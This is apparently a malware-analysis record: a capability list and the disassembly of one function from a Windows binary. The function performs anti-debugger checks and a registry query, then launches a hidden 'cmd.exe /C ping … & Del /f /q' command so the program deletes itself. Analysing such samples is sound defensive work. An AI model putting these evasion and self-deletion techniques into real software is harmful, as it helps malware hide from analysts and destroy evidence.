Function at 0x410e70
Capabilities:
Create process on windows
Create thread
Query or enumerate registry value
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485692
mov eax, dword fs:[0]
push eax
sub esp, 0x794
mov eax, dword [0x4b7134]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call esi
test eax, eax
jne 0x410ea3
push eax
call fcn.0046cb4c
push eax
call fcn.00468432
add esp, 8
call fcn.00468411
mov ecx, 0xfffff061
cdq
idiv ecx
lea ecx, [ebp - 0x7a0]
mov dword [ebp - method.std::_Func_impl_no_alloc_void____cdecl___void___void___.virtual_0], vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov dword [ebp - 0x79c], 0x410e40
mov dword [ebp - 0x77c], ecx
lea edi, [edx + 0x3e8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x674]
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0x650], 0
mov byte [ebp - 4], 1
test ecx, ecx
je 0x410f23
mov eax, dword [ecx]
lea edx, [ebp - 0x674]
push edx
mov eax, dword [eax]
call eax
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], edi
push 0x30
mov byte [ebp - 4], 2
call fcn.0045d3e8
mov edi, eax
add esp, 4
mov dword [edi + 0x24], 0
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x410f8c
lea eax, [ebp - 0x674]
cmp ecx, eax
jne 0x410f7f
mov eax, dword [ecx]
push edi
mov eax, dword [eax + 4]
call eax
mov dword [edi + 0x24], eax
mov ecx, dword [ebp - 0x650]
test ecx, ecx
je 0x410f8c
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
jmp 0x410f82
mov dword [edi + 0x24], ecx
mov dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x64c]
mov dword [edi + 0x28], eax
mov dword [ebp - 0x62c], edi
lea eax, [ebp - 0x630]
mov byte [ebp - 4], 3
push eax
push 0
push edi
push 0x41d5e0
push 0
push 0
call fcn.00468df8
add esp, 0x18
mov dword [ebp - 0x634], eax
test eax, eax
je 0x411320
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x630]
test ecx, ecx
je 0x411331
push ecx
push eax
call fcn.0045b7fc
add esp, 8
test eax, eax
jne 0x411338
mov ecx, dword [ebp - 0x650]
xorps xmm0, xmm0
movlpd qword [ebp - 0x634], xmm0
test ecx, ecx
je 0x411015
mov edx, dword [ecx]
lea eax, [ebp - 0x674]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov ecx, dword [ebp - 0x77c]
test ecx, ecx
je 0x411033
mov edx, dword [ecx]
lea eax, [ebp - 0x7a0]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [ebp - 0x778], 0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x730], 0
mov dword [ebp - 0x718], 0
mov dword [ebp - 0x700], 0
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6b8], 0
mov dword [ebp - 0x6a0], 0
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x764], 0xf
mov byte [ebp - 0x778], 0
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 0xf
mov byte [ebp - 0x760], 0
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0xf
mov byte [ebp - 0x748], 0
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 0xf
mov byte [ebp - 0x730], 0
mov dword [ebp - 0x708], 0
mov dword [ebp - 0x704], 0xf
mov byte [ebp - 0x718], 0
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 0xf
mov byte [ebp - 0x700], 0
mov dword [ebp - 0x6d8], 0
mov dword [ebp - 0x6d4], 0xf
mov byte [ebp - 0x6e8], 0
mov dword [ebp - 0x6c0], 0
mov dword [ebp - 0x6bc], 0xf
mov byte [ebp - 0x6d0], 0
mov dword [ebp - 0x6a8], 0
mov dword [ebp - 0x6a4], 0xf
mov byte [ebp - 0x6b8], 0
mov dword [ebp - 0x690], 0
mov dword [ebp - 0x68c], 0xf
mov byte [ebp - 0x6a0], 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 4], 5
push eax
push 0x20019
push 0
push str.SoftwareSoftwareClient
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4111fc
push eax
push eax
lea eax, [ebp - 0x630]
push eax
push 0
push 0x4a4c50
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4111fc
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x411213
push dword [ebp - 0x62c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x778]
call fcn.00407c40
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0xf
mov byte [ebp - 0x644], 0
mov byte [ebp - 4], 6
call fcn.0040a1d0
call esi
test eax, eax
jne 0x411241
call fcn.0040fa70
nop dword [eax]
call esi
test eax, eax
jne 0x411250
call fcn.0040a1d0
nop dword [eax + eax]
call esi
test eax, eax
jne 0x411260
push 0x44
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.0045f410
add esp, 0xc
lea eax, [ebp - 0x218]
xorps xmm0, xmm0
movups xmmword [ebp - 0x63c], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [ebp - 0x628]
push 0x208
push eax
call fcn.0040aea0
add esp, 0x10
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x688]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x638]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x63c]
call esi
lea ecx, [ebp - 0x778]
call fcn.00411340
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045d1c0
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x630], 0
call fcn.0045bccb
push 1
call fcn.0045bccb
push eax
call fcn.0045bc9e
int3